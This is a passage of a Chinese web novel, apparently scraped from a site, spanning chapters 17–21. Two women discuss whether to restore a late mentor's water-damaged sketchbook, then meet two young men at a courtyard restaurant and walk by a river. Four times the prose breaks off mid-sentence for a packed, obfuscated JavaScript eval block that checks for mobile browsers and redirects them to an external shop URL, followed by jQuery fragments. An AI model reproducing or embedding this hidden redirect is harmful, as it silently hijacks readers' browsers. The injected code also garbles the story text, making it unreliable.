;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918960|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是它的记忆本身。” 陈归澜发现阮瑞晓看待这些作品的角度不是纯粹的审美或技术分析,而是对存在过程的共情。 学过绘画的,在评价一幅作品时。大多会下意识地从构图与空间、造型与线条、明暗与光影等角度开始进行分析,但很少有人会将重点放在自我感受上。 “所以,你认为痕迹本身就是记忆的形态?”陈归澜问。 “至少是最真实的一种。”阮瑞晓终于微微侧过头,看向陈归澜,昏暗的光线下,她的眼睛显得格外清亮,“被精心修饰、完美保存的记忆,像A厅那些修复如初的画,当然很美。但有时候,这种……” 她回手指了指《蚀》:“这种带着伤疤、带着磨损,甚至带着一些看似丑陋的增生,可能更接近记忆的本质。它不是固化的,它是流动的,是会受伤也会结痂的。” “所以……虽然说出来可能不合时宜,也不是我应该说的,但……归澜,我还是想说。”阮瑞晓缓缓开口,“我认为白老师的画册可以不用修复。” 她没有立刻反驳,只是眼睛微微眯起,聚焦在阮瑞晓脸上,示意她继续。 “我理解你想要保存白老师作品完整性的心情,但是……你应该看过那些水渍走过的痕迹,它们和原本的线条交融在一起,形成了一种独一无二的构图。这不再是白老师一个人完成的画作了,是时间,是意外,是潮湿的空气,共同参与了创作。” “强行修复,像是试图抹去这段共同创作的历史,把活生生的、经历了变化的痕迹,强行拉回一个我们认为正确的过去。可那个过去,已经不存在了。”她的声音飘渺,“这些伤疤,这些增生,现在就是它的一部分。它承载的,不仅是白老师落笔时的想法,还有它流转变迁的故事……和你对白老师的爱。” 阮瑞晓看着陈归澜,然后缓缓移开视线:“归澜,我比你大两岁。” “嗯。” 不知道什么时候,陈归澜知道阮瑞晓比她大两岁,也得知阮瑞晓初中毕业就没有继续读了。她不清楚其中缘由,但能从阮瑞晓的情况猜到部分原因,比如在工厂上班却身无分文,比如明明很热爱文学艺术却没有继续学习。 阮瑞晓不说,她也不追问。 “归澜,其实……我想向你道歉。” 陈归澜摇头:“只是想法不同而已,不用道歉。” “我指的不是这个。”阮瑞晓低着头,有些迟钝地看着自己的脚尖,“我……应该在你邀请我来北城修复白老师的画册时就告诉你这些,而不是……” 而不是到了北城,开始修复了才告诉她,不完美也是一种完美。 “我接受你的邀请,并不完全是为了修复画册。”阮瑞晓的声音更低了,几乎融入了展厅背景里的喧闹声,“我知道这很卑劣……利用了你对白老师画册的重视,和你提供的这个机会。我太想……太想离开那个地方,哪怕只是短暂地喘口气……” 她终于抬起头,眼眶微红:“我是抱着私心来的。这份工作对我来说很重要,但我……我好像从一开始,就带着欺骗。” 18. chapter 18 所以她才会在提出那个不修复的建议时,感到加倍的愧疚。 这不仅是对艺术理念的挑战,更像是一种对陈归澜善意和信任的辜负。她利用这次机会作为自己逃离现实、喘息片刻的跳板,这让她觉得自己不纯粹、不坦诚,她仅剩的优点在被她自己磨损。 陈归澜静静地听着,脸上依旧没有什么表情。 “阮瑞晓,”陈归澜叫了她的全名,语气平稳如常,“我邀请你,是因为你的能力。至于你来北城的动机,无论是为了工作,还是为了私心,这都是你的自由,与我无关。我只看结果,以及——” 她顿了顿,向前走了一步,距离阮瑞晓更近了些,声音不高:“你的道歉我收到了,但没必要。你没有欺骗我,你只是抓住了机会,并且,正在认真对待这份机会。这就够了。” 阮瑞晓怔怔地看着她,攥紧的手指慢慢松开。 陈归澜没有给予廉价的安慰,而是赦免了她的罪。相比于得到“这不是你的错”的安慰,“我不在乎你犯下的错”反而让她一直紧绷的、自我谴责的心获得解脱。 “至于画册……手上那本继续修复吧,其他的我再想想。”陈归澜心里五味杂陈,答案她还没有想好。 “不过……”陈归澜道,“本来给你的旅游经费是转账,现在看来,报酬得给现金才好。” 阮瑞晓愣住,鼻头发酸。 她没想到陈归澜会如此敏锐,更没想到明明是不熟悉的人,陈归澜却愿意给予她最实际的支持。 转账无论名目为何,最终无法真正留在她手里。而现金,是能悄悄攥在手心,藏进鞋底,真正属于她自己的底气。 “归澜,我……”她张了张嘴,声音有些哽咽。那些关于家庭的难堪与束缚,像无形的丝线缠绕着她的喉咙,让她无法顺畅呼吸,更无法轻易言说。 陈归澜抬手,做了一个轻微下压的手势:“不用解释,我只帮忙解决问题,不问问题怎么产生。” 她顿了顿:“瑞晓,你的天赋和感知力是稀缺资源。它们不应该,也没有义务,被任何名义捆绑和消耗。” 阮瑞晓她猛地抬头,撞进陈归澜那双过于清醒理智的眸子里。 “经济独立,是人格独立的第一步,也是最基础的一步。”陈归澜继续说道,“你有能力靠自己活下去,并且活得更有价值。修复画册的报酬,是你应得的。用它做什么,是你自己的权利。但如果——” 她意味深长地停顿了一下:“如果你想让这份权利变得更大,让你笔下的线条能更自由地延伸,那么,有些环境,或许需要考虑保持距离。” “北城很大,容得下所有认真活着的人。如果不想在北城,海市,星城,文川,西川……国内有很多漂亮的城市,每个城市的人都在忙碌自己的生活,或许他们不会帮你,但也不会一直盯着你。”陈归澜道,“怎么做看你。如果需要帮助,随时找我。不过我不是天使投资人——” 陈归澜朝她眨了眨眼睛:“等你功成名就,记得还我,我要收利息的。” 阮瑞晓站在那里,感觉有一股温热而汹涌的东西从心脏最深处破土而出,冲垮了长久以来因困顿和压抑筑起的堤坝。鼻端的酸意更重,眼前陈归澜的身影微微模糊,但她却觉得,自己从未看得如此清晰过。 她用力吸了吸鼻子,将那股酸涩逼退。 “我明白了。”她轻声说,声音还有些微颤,“回去之后,我会努力。” 陈归澜点了点头,不再多言,转身继续看向展厅深处的其他作品,仿佛刚才的一切从未发生。 - 傍晚,薛离坚持要请阮阳昭吃饭弥补拉他看展的精神损失,地点定在了一家以氛围感著称的私房菜馆。 菜馆由旧式庭院改造,白墙黛瓦,绿竹掩映,与隔壁另一家餐厅共享一个精心打理的天井院落,暮色透过繁茂的枝叶,洒下细碎而柔和的光晕。 阮阳昭兴致不高,下午在艺术展认错人的失落感尚未完全消退,只懒散地靠在椅背上,指尖无意识地摩挲着冰凉的釉面茶杯,对薛离插科打诨的话题反应寥寥。 薛离正琢磨着怎么把好友从这半死不活的状态里拽出来,隔壁桌传来椅子轻挪的声响,伴随着几句低语。 阮阳昭下意识掀起了眼皮。 时间仿佛在那一刻被无限拉长、放缓。 斜阳最后的余晖穿过枝叶缝隙,在天井青石板上投下跳跃的金斑,空气里浮动的微尘如同被惊扰的金粉,在渐弱的暖光中缓慢旋舞。陈归澜正站起身,拿着账单走向室内。而她对面的那个女孩—— 阮阳昭的呼吸猛地一滞。 那个在机场惊鸿一瞥,又在艺术展让他遍寻不获的身影,此刻就安静地坐在几步之遥的地方。 暮色温柔地勾勒着她清瘦的侧影和低垂的眼睫,她似乎察觉到了这边凝注的视线,微微侧过头来。 目光在空中不期而遇。 阮阳昭只觉得周遭所有的声音,薛离的絮叨,远处模糊的车鸣,甚至风过竹叶的沙沙声,都在这一刹那潮水般退去。他的世界里,只剩下那双清澈而疏离的眼睛。 阮瑞晓显然也认出了他,眸中极快地掠过一丝讶异,但随即又恢复了那种带着距离感的沉静。 阮阳昭忘了反应,只是怔怔地看着她,看着她颊边被微风拂起的一缕碎发,看着她在这片柔和光晕里,仿佛自带一层模糊滤镜的干净轮廓。心脏后知后觉地沉重地跳动起来,带着一种失而复得的、近乎酸楚的悸动。 “天涯何处无芳草,何必单恋一枝花。懂不懂?反正我最近回国,打算创立自己的服装品牌。你不是学经济的吗?你又不想去你爸妈的公司,索性来帮我算了,算你入股。你要是实在放不下,我给你安排,上综艺寻人,机场、地铁贴告示,电台节目我也给你安排,掘地三尺也得把你的心上人给挖出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929071|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”薛离还在絮絮叨叨个不停,“不过就算找到了,你打算怎么办?谈一段还是带回家?听你说那女孩儿家境看上去不是很好,你爸妈那德行能同意?哎,你有没有听我说话?赵许一吃到一半被家里叫回去,你也给我不专心——” 薛离不满意自己一个人唱独角戏,顺着阮阳昭几乎凝固的视线望去,看到了阮瑞晓,以及结账回来、正停下脚步审视他们的陈归澜。 薛离眉峰微挑,嘴角勾起一个弧度,带着点玩世不恭的意味,心下了然,视线在呆若木鸡的阮阳昭和安静如画的阮瑞晓之间打了个转,最终饶有兴致地迎上陈归澜冷静打量的目光。 薛离这人,最受不了空气突然安静,尤其是这种掺杂着莫名电流的。他“啧”了一声,长腿一迈,几步就晃到了陈归澜面前,完全无视对方那能把人冻出三尺冰的审视目光,笑得一脸灿烂。 “这位同学,看着有点眼熟啊?帮个忙,那边俩需要点私人空间进行一下人类高质量对话,咱俩杵这儿跟两盏探照灯似的,不合适。走,外边聊聊,我请你喝杯东西,顺便批判一下这俩人没效率的沟通方式。” 他话说得又快又溜,带着点痞气,甚至没给陈归澜反应的时间,虚虚做了个“请”的手势,自己先转身朝庭院更僻静的一角走去,仿佛笃定她会跟上来。 陈归澜确实被他这突如其来的自来熟和操作弄得怔了一瞬,眉头微蹙。 她不喜欢计划外的状况,更不喜欢这种看似轻浮的做派。但瞥了一眼旁边那对明显气氛不寻常的男女——一个眼神灼热得像要烧起来,一个垂着眼睫仿佛要把桌面看出花来。理性告诉她,薛离的提议虽然冒失,但确实是打破僵局、提高效率的最优解。 她面无表情地扫了薛离的背影一眼,没说什么,却迈开步子跟了过去,只是周身散发的“生人勿近”的气场又强了几分。 两个“电灯泡”一离开,这片小天地瞬间安静下来,只剩下风吹竹叶的细微声响。 阮阳昭几乎是立刻抓住了这个机会,他拉开阮瑞晓对面的椅子坐下,动作有些急,椅子腿在青石板上划出轻微的摩擦声。 “又见面了。”他开口,声音因为紧张和期待,比平时低沉了些,目光牢牢锁在她脸上,像夏日正午的阳光,直接、炽烈,不带丝毫迂回。 见阮瑞晓没回应,他有些不好意思地摸了摸鼻子,但还是坦诚地看着她,眼神干净又执着。 阮瑞晓的心跳漏了一拍。 她抬起眼,飞快地看了他一下,撞进那片过于明亮的目光里,又立刻低下头,指尖抠着木桌边缘细微的纹路。 “嗯。”她应了一声,声音轻得像叹息。 她的反应让阮阳昭有些着急,他身体微微前倾,拉近距离,试图捕捉她躲闪的视线:“我叫阮阳昭。这次,可以告诉我你的名字了吗?或者……联系方式?” 他顿了顿,补充:“就当……交个朋友?” 19. chapter 19 “阮瑞晓。”她终于轻声说出了自己的名字,却没有回答第二个问题。 交朋友?她和他,看起来就像是两个世界的人。 他阳光、直接,带着一种被宠爱着长大的明亮和自信;而她……她的世界里有太多需要小心翼翼隐藏的角落和无法言说的沉重。这种炙热,让她既贪恋又害怕,本能地想要退缩。 见她依旧回避,阮阳昭眼底的光黯淡了一瞬,但很快又重新亮起。 “阮瑞晓。”他念了一遍她的名字,语调放缓,带着一种奇异的温柔,“很好听。原来,我们还是本家。那……R.X.,是你名字的缩写?” 她轻轻点头。 “你的画,真的很好。”他试图寻找她能感兴趣的话题,“在机场那张,把我画得……比我本人帅。” 这句笨拙的夸奖让阮瑞晓的嘴角弯了一下,但很快又抿直。 她依旧没有抬头,只是低低地说:“谢谢。” 一方是毫不掩饰的炙热与靠近,一方是心有顾忌的沉默与后退。空气里仿佛绷紧了一根无形的弦,每一次呼吸,每一次眼神的短暂交汇,都在拨动着它,发出细微而清晰的震颤。 阮阳昭看着她低垂的、微微颤抖的睫毛,心里像被羽毛轻轻搔刮着,又痒又无奈。他知道不能逼得太紧,可让他就此放弃,又实在不甘。 - 薛离大剌剌地在庭院角落的竹椅上坐下,翘起二郎腿,冲着走过来的陈归澜扬了扬下巴,笑得没个正形。 “我说这位同学,看你这气场,不像来看热闹的,倒像来视察工作的。认识一下?我叫薛离,那边那个丢了魂儿的,是我发小,阮阳昭。” 陈归澜在他对面的位置坐下,姿态依旧端正,目光淡淡扫了他一眼:“陈归澜。” 显然,她没有深入交流的想法,视线越过薛离,不着痕迹地瞥了一眼不远处那对沉默的男女。 薛离顺着她的目光看去,正好看到阮阳昭身体前倾,眼巴巴看着垂眸不语的阮瑞晓,那模样,让他忍不住“啧”了一声。 “看见没?”薛离转回头,对着陈归澜耸耸肩,语气里带着点恨铁不成钢的调侃,“我哥们儿平时在球场上能一个打三个,现在跟个小学生似的,话都说不利索。你说这叫什么事儿?” 陈归澜的注意力被拉回,她看着薛离,客观地评价:“他的情绪表达很直接。相比之下,你的反应更有意思。” 薛离立刻为自己辩解:“这叫战略性观察。总得确认一下对方是不是骗子吧?虽然我看他那傻样,被骗了还得帮人数钱。” 他说着,自己先乐了。 陈归澜没笑,只是微微挑眉:“根据我对她的了解,骗子的假设缺乏依据。” 薛离被她的结论噎了一下,随即觉得有趣,凑近了些,压低声音:“行,陈同学,你厉害。那依你这火眼金睛看,他俩这进度条,卡在哪儿了?” “信息不对等,以及动机差异。”陈归澜言简意赅,“一方意图明确,行动力强;另一方顾虑较多,倾向于防御。” “精辟!”薛离打了个响指,虽然没完全听懂,但觉得很有道理,“所以啊,咱们在这儿就是给他们创造攻克……啊不是,是创造友好交流的空间。功德无量!” 一阵微风拂过,带来隔壁桌隐约的对话片段,是阮阳昭在笨拙地夸奖阮瑞晓的画。 薛离立刻冲陈归澜挤眉弄眼,用气声道:“听,开始了开始了!笨死他了,夸人都夸不到点子上。” 陈归澜没有接话,只安静地听着。 薛离觉得这姑娘有意思,看着冷冰冰,还有种奇怪的认真劲儿。 他放松地靠在椅背上,开始天马行空地胡扯:“要我说,阮阳昭就该直接点,问‘同学,你觉得我怎么样?能给个机会不?’行就行,不行拉倒,多痛快。非得整这暖昧,看得我都着急。” “如果我没猜错,这是他们见的第二面,并且,你朋友刚才才知道我朋友的名字。所以,这不叫暧昧。”陈归澜终于将目光完全转向他,不赞同道,“建立稳定关系需要相互了解和信任基础,贸然推进成功率低且风险高。你的建议缺乏策略性。” “哎哟,还策略性?”薛离乐了,“谈个恋爱而已,又不是打仗。” “本质上,任何形式的人际关系建立都包含目标设定、策略执行和结果评估的过程。”陈归澜平静地陈述。 薛离被她这套理论逗得直笑,觉得今天这电灯泡当得值,不仅能看兄弟的热闹,还能碰到这么个一本正经的理论家。 “哎,你说你和她是朋友,那她住哪儿?听口音不是北城人,是新北城人?还是在这边旅游?工作?”薛离坐直身子,拼尽全力试图打听到关于阮瑞晓的信息,“宁毁十座庙,不破一桩婚,咱这帮他们也是大功德,跟我说说呗?” 陈归澜瞥他一眼:“你朋友没长嘴,不会自己问?你要是真热心,在背后当军师就够了,不要冲到前线,否则——” 陈归澜眯着眼睛,在脖子上比划几下,告诉他:否则,会死得很难看。 薛离被她这番话说得心痒难耐,却又不好再追问,只好摸着下巴感叹:“陈同学,你这说话说一半的功夫,真是练到家了。” 他故意长叹一声,夸张地垮下肩膀:“我这军师当得可真不容易,既要操心前线战况,还得在后方应对对方的军师。” 陈归澜被他逗得轻笑出声:“我可不是什么军师,最多算临时防御塔。不管今天什么结果,你记住,回去让你朋友也记住,我朋友不是北城人,但我是,你俩也是。如果敢对我朋友不认真——” 陈归澜不怎么和善地看着薛离:“我会想办法,让你俩不好受。” 薛离表面上没什么,但内心已经开始盘算起对方的身份来。 他的家世背景不错,除非陈归澜的家世背景更厉害,否则不会有什么大事,但是——虽然他认识的阮阳昭不是玩弄少女的烂人,但万一……阮家虽然也在北城打拼了近二十年,但瘦死的骆驼比马大,阮家还最多算匹小马驹,更何况阮阳昭的父母平日里就爱得罪人,真要计较起来,免不了吃瘪。 “姐姐,别这样。我这个朋友,从小家里就管得严,女朋友也没谈过一个。你还真别说,在此之前,我差点以为这小子看上的是我你知道吗?别提我有多害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938544|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕了,生怕哥们儿变成死缠烂打的追求者啊……” 陈归澜白他一眼,默默将注意力转移到隔壁。 阮阳昭看见阮瑞晓终于抬起头来,不自觉地屏住了呼吸。她的眼睛在庭院柔和的光线下显得格外清澈。 “其实我在机场看见你的画时,就觉得很特别。”他轻声说,“那些线条,像是能抓住人的神韵。” 阮瑞晓微微睁大眼睛,流露出些许讶异。 明明只是短暂停留几秒钟的时间,他认真在看。 阮阳昭担心反复夸赞同一个点会让对方觉得他在恭维,想找点别的话题,却又嘴笨,只憋出来一句:“是真的很好看!” 她低下头,唇角却不受控制地微微上扬。 “你记得这么清楚?” “就像记得你一样。”阮阳昭脱口而出,随即意识到自己说得太直白,耳根微微发烫。 他笨拙地补充道:“我的意思是,那天在机场,你低头画画的样子,我一直记得。” 阮瑞晓抬起头,目光在他脸上停留了片刻。这一次,她没有立刻移开视线。 “谢谢。”她的声音很轻,却比之前多了几分温度。 店铺用来装饰的氛围灯逐渐亮起,将她的侧脸轮廓勾勒得格外温柔。阮阳昭看着她被光晕笼罩的睫毛,心跳不由自主地加快。他深吸一口气,从口袋里拿出手机。 “如果可以的话……能留个联系方式吗?” 阮瑞晓注视着递到面前的手机,指尖在膝上轻轻蜷缩。 短暂的犹豫后,她伸手接过手机,输入了一串数字。 阮阳昭将那串手机号视若珍宝,光是保存到通讯录还不够,又复制粘贴到备忘录和各大社交软件的文件传输助手,确定不会丢失之后才放下心来。 阮阳昭鼓起勇气:“北城的夜景很美。如果你有时间,我可以带你去几个不错的观景处。” 阮瑞晓稍微犹豫了一下:“不好意思,我得和我朋友一起回家……” “不用不用!”见阮瑞晓就要拒绝,薛离赶紧拉着陈归澜站出来,“你朋友和我约好了,待会儿我们去城西那个新开的Livehouse,听说今晚有特别棒的独立乐队,票可难抢了。” 他边说边用胳膊肘轻轻撞了一下身旁的陈归澜。 陈归澜闻言,脸上瞬间掠过一丝无语。 她瞥了一眼热情过头的薛离,又看了看身旁有些意动的阮瑞晓,最终还是决定顺势而为。 “嗯,约好了。” 见陈归澜顺着他的话往下说,薛离笑得更灿烂了。 “对,我们都约好了。最近虽然天气不怎么好,但朦胧不清的夜景又是另一种美,你们快去吧,不用管我们。” - “夜景很美……”陈归澜走在河边,影子被橙黄色的路灯拉得很长,眼睛却看着对岸皎白的灯。 暮色从天际晕染下来,渐渐沉入北城的河,两岸的璀璨都不动声色地落入沉静的水。 “北城的夜景,当然美。”薛离在这北城生活了这些年,却怎么也看不腻,尤其是在国外待了几年,这才刚回来,尤其觉得亲切。 20. chapter 20 “陈……归澜?”薛离就这么叫了,“谈恋爱,有兴趣吗?” 陈归澜轻飘飘看了他一眼,然后别过头:“我有男朋友。” 薛离也不觉得尴尬,反而更感兴趣:“是么?叫什么,哪里人,做什么的?” “关你什么事?”陈归澜有些厌烦他了。 那些二代她见过不少,玩世不恭的,野心勃勃的,潇洒肆意的,都谈不上厌烦,顶多觉得大家不是一路人,私下不来往,但薛离……或许是白越的原因,总之,她看薛离很不顺利,自从他问起白越的事情之后。 “生气了?”察觉到陈归澜心情的变化,薛离敛了那副模样,正经了些,“对不起,我没有要调戏你的意思,只是……” 薛离坦白:“只是,我觉得你很有意思,褒义的!所以,有些好奇,什么样的人,才能成为你的男朋友。” 解释完,薛离赶紧补充:“如果你不喜欢,不用回答。” 陈归澜听着觉得奇怪。薛离看上去明明一副花花公子的模样,但她真生气了,他反而收敛了那副面具,正经起来。 她终究是接受了薛离的道歉。 “也没有。只是……”陈归澜顿了顿,话到嘴边又不想说了,转而问他:“你呢?一副吊儿郎当的样子,看我生气,又正经起来了。” 薛离低声笑了笑,靠在栏杆上。 “家家有本难念的经啊。” 薛离也不想解释。 这些年,他学到的最多的,除了给自己一副面具,就是收起好奇心,不管是对别人的,还是别人对自己的。 陈归澜见他不愿意说,也不多问,只是静静看着波澜不惊的水面。 “阮阳昭……他靠谱吗?” 薛离一愣,旋即反应过来,陈归澜这是站在阮瑞晓的角度在问他。 “当然。”薛离转过去,和陈归澜看着同一片月光,“我这个朋友,人品觉得靠得住,至少比我要可靠。” 陈归澜笑他:“那也不怎么样。” 薛离笑:“你别打岔,我认真的,他是一个很好的人。你朋友如果和他在一起,会很幸福。” “只是……”薛离忽然想到了阮阳昭的家庭。 陈归澜皱眉:“只是什么?” 薛离暗暗叹了一口气:“只是他的父母,是很难缠的角色。” 古往今来,被对方父母毁掉幸福的有情人不在少数。阮瑞晓的家庭已经足够窒息了,现在又来一个阮阳昭的……陈归澜忽然觉得这对有情人的未来路坎坷。 陈归澜在想,是不是应该告诉阮瑞晓这些,可思来想去,又觉得说出这一切的人不该是她这个局外人。想到这里,陈归澜有些愁,挠了挠自己的后脑勺,重重叹气。 “你说,我该把这些告诉她吗?” 薛离问:“你和她是很好的朋友吗,知根知底那种?” 陈归澜想了想,摇头:“算不上。” 两个人算起来也不过是面基的网友。她连蒙带猜能知悉一点阮瑞晓的家庭,却也没有告诉过阮瑞晓她自己的过去。 “那就别说。”薛离解释,“就算你们是很好的朋友,也仅仅是朋友,你在她生命里的角色是朋友,而不是保姆,也不是父母,不需要为她的未来担忧、出谋划策。” “那你呢?”陈归澜反问,“如果换做是阮瑞晓的家庭不好,你知道了,你会告诉阮阳昭吗?” “当然不会。”薛离回答得很果断,“当时,阮阳昭因为希望见到阮瑞晓,每天心不在焉,我劝他,要么登报寻人,要么正常生活,如果他请我帮忙,帮他联系报纸、电台、节目,我会去帮忙,但我绝对不会没事找事,在他提出想法之前行动。” 陈归澜摇头:“这不一样。” “有什么不一样?” “前提不一样。现在的情况是,我已经知道了他的家庭不好,主动权在我。类比你的故事,应该是你知道了阮瑞晓的下落,但是阮阳昭还在苦苦寻找,你面临的选择是要不要告诉阮阳昭,关于阮瑞晓的下落。” 薛离不由得感慨:“看来,还是没能把你绕过去。” “什么意思?” 河对岸的一栋摩天大楼忽然亮起了灯。 被窗户切割成的发亮的方框纷纷亮了起来,楼体上勾勒轮廓的光带如银河倾泻,流转着霓虹般的色彩。楼顶的射灯也在此刻被打开,直指皎洁的明月,上千台无人机在此时组成一朵玫瑰花的形状,轻盈悬浮,如梦中幻影,随着韵律微微明灭,射灯绚烂的光和无人机的灯光交错、缠绵。 陈归澜看着对岸艳俗的节目,五官都快皱成一团了。 “阮阳昭干的?” 薛离失笑:“他这小子感情经验是缺了点,但审美没问题,至少不会让人摆玫瑰花。” 陈归澜稍稍放心了些。 “也不知道是哪家没审美的公子哥。”薛离吐槽,“无人机灯光秀环保,这几年已经成了大型活动的必备节目,但组一朵玫瑰花……” 除了玫瑰花,还有最后的“marryme”。两者组合在一起,雷人的程度翻倍。 薛离啧啧称奇:“要么是对方喜欢,要么……只能是那公子哥审美一般。” 陈归澜点头,深感其然。 “你还没回答我的问题。”陈归澜还记着节目开始之前的话题,“为什么要转移我的话题?” 薛离静静地看着无人机撤退,楼顶的灯光熄灭,这出荒诞的节目落幕,沉默了很久。 他动了动僵硬的指尖,从外套口袋里摸出一盒烟。打火机的火苗在夜色中短促地跳了一下,照亮了他下颌绷紧的弧线,又迅速熄灭,只剩一个暗红的点在黑暗中明灭。 “介意吗?” 陈归澜看着猩红的点:“介意,把烟掐了。” “我就客气一下,你还真介意啊。” 薛离低笑,却也听话地灭了烟,将一口没抽的烟扔进垃圾桶。 “当然,我从来不说这些场面话。”陈归澜觉得面前这人复杂得很。一方面,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943479|191805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像很渴求那种热烈、直接的人生,另一方面,他的人生又好像被限制住了,被框在一个空间内。 “也好。”薛离道,“如果有一段,你明知是坏结局的故事,你还会读吗?或者更深刻点,如果有一段明知没有结果的恋爱,你还会选择和对方在一起吗?” 陈归澜顿住。 如果有一段明知没有结果的恋爱,你还会选择和对方在一起吗……换一种表述,如果早知道白越会早早去世离开,她还会选择认识白越、和他恋爱吗? 白越刚出事时,她还有些迟钝,麻木地帮着白越的家人筹备葬礼,以白越妻子的身份为他立碑、送他离开。葬礼结束之后,延迟的悲伤就像是一场谁也无法阻挡的洪水,将她吞没,让她窒息。 她自己关在家里,不出门,不见人,也不吃饭。过了几天,白越的父母委托江敬寒来帮忙照顾。时至今日,陈归澜已经不记得江敬寒说过什么、做过什么,只依稀记得江敬寒的到没什么效果,她被带到医院打了几天生理盐水和葡萄糖,才算吊住了性命。 后来的很长一段时间,白越的父母、白越的老师、她的朋友,接连过来照顾她,她才渐渐从那场洪水中幸存,但也仅仅是幸存。 她依然把自己关在家里,饿了就咬两口压缩饼干,就着水咽下去,大部分时候都坐在沙发上或地上,看着白越留下的痕迹发呆。 很久之后,她才接受白越已经离开的事实,并且在身边人的帮助下走回自己的生活轨道。 那个时候,她总是告诉米利安,她后悔认识白越,后悔爱上白越,后悔和白越在一起。她觉得,没有爱上,就不会这么难过。 但过了这么久,她反而想开了。 她依然爱着白越,即使他已经从这个世界离开。 她不后悔认识白越,不后悔爱上白越,不后悔和白越在一起。 白越带给她的不仅有那些她不想要的痛苦,还有她想要的快乐、幸福。 如果重来,她还是会爱上那个意气风发的人。 即使命运会将他们强行分开。 “会。”陈归澜看着薛离,回答,“结局没有那么重要,如果过程足够精彩。” 薛离挑眉,似乎早就预料到了陈归澜的答案。 “这也是我的答案。如果过程足够精彩,结局没有那么重要……”薛离感慨,“就像是数学题,如果过程全对,结果错了,也最多扣个一两分,总比过程全错、结果蒙对,只拿到一两分要好,对吧?” 陈归澜被这个奇怪的比喻逗笑,点头。 “没错,过程更重要。” “所以,让他们自己去探索吧,如果不合适,不会等到家庭揭晓,如果合适……我相信,阮阳昭会在确定心意的时候,马上带她去见家长,就算家里人不同意,阮阳昭也会义无反顾带她离开。” “义无反顾带她离开……” 如果阮阳昭真的敢这么做,对阮瑞晓来说反而是好事。毕竟,阮瑞晓的家庭也在逼她不得不离开。 21. chapter 21 “如果是这样,反而是好事。” 薛离又打趣:“只为你的好姐妹考虑,就眼睁睁看着阮阳昭失去继承权啊?” “他就没个兄弟姐妹什么的?”二代为了继承那些财产手足相残的戏码她见得多了,“失去继承权,未必是坏事,至少保了平安。他那个父母,应该不会大公无私,平分财产吧?” 薛离叹了口气,感慨陈归澜真是聪明:“这都让你猜对了。哎,你是不是偷看剧本了?” “哪个猜对了?” “后一半。据我所知,他没有兄弟姐妹,独生,从出生到现在,他们家就他一个孩子,所以他父母对他寄予厚望,希望他未来能继承家里的事业。假如他有兄弟姐妹,以他父母的脾气,也不会平分财产,更不会让贤者上位,而是会把财产都交给他们青睐的孩子。” 陈归澜撇嘴,表示不想评价这种传统到过了头的思想。 薛离还想说点什么,手机铃声忽然响了起来。赵许一晃了晃手机,陈归澜点头,示意,他随意。 “喂?”薛离往旁边走了两步,接起电话。 赵许一那边环境嘈杂得很,有引擎的声音和此起彼伏的喝彩声。 “薛离,你和阮阳昭要不要过来玩?我们车队有人求婚,待会儿还有个聚会。” 薛离看了看已经落幕的无人机灯光秀,额头的青筋跳了跳:“你别告诉我,国贸三期的那玫瑰花是你们弄的?” “是啊!”赵许一非但没有从薛离的话里听出嫌弃的意味来,反而很骄傲,“怎么样?审批可是我帮忙搞定的!你知道在北城办这么一场灯光秀有多不容易吗?” “……”薛离毫不客气地评价,“太土了。赵许一,那玫瑰花,该不会是你出的主意吧?” “那不能,是被求婚的女生喜欢玫瑰花,我们才安排这个。废话那么多,到底来不来?”眼看着庆祝的队伍已经开始往外走了,有队友拍了拍赵许一的肩,示意他跟上,赵许一有些着急了。 “不来,有约会。” 赵许一顿了一下:“你不是才回国,这就有约会了?” “谁跟你一样,成天泡在赛车场里?不说了,你们玩得开心。” 挂了电话,薛离回头,看见陈归澜看着车水马龙的对岸,正在发呆,又好像只是游离在自己的世界里,在想些什么。 “想什么呢?”薛离走近,打了个响指。 “没什么。”陈归澜摇头,深吸一口气,“我要回去了。” 薛离抬手看了一眼手表,有些意外:“这么早?” “对我来说,不早了。”陈归澜提脚开始往外走。 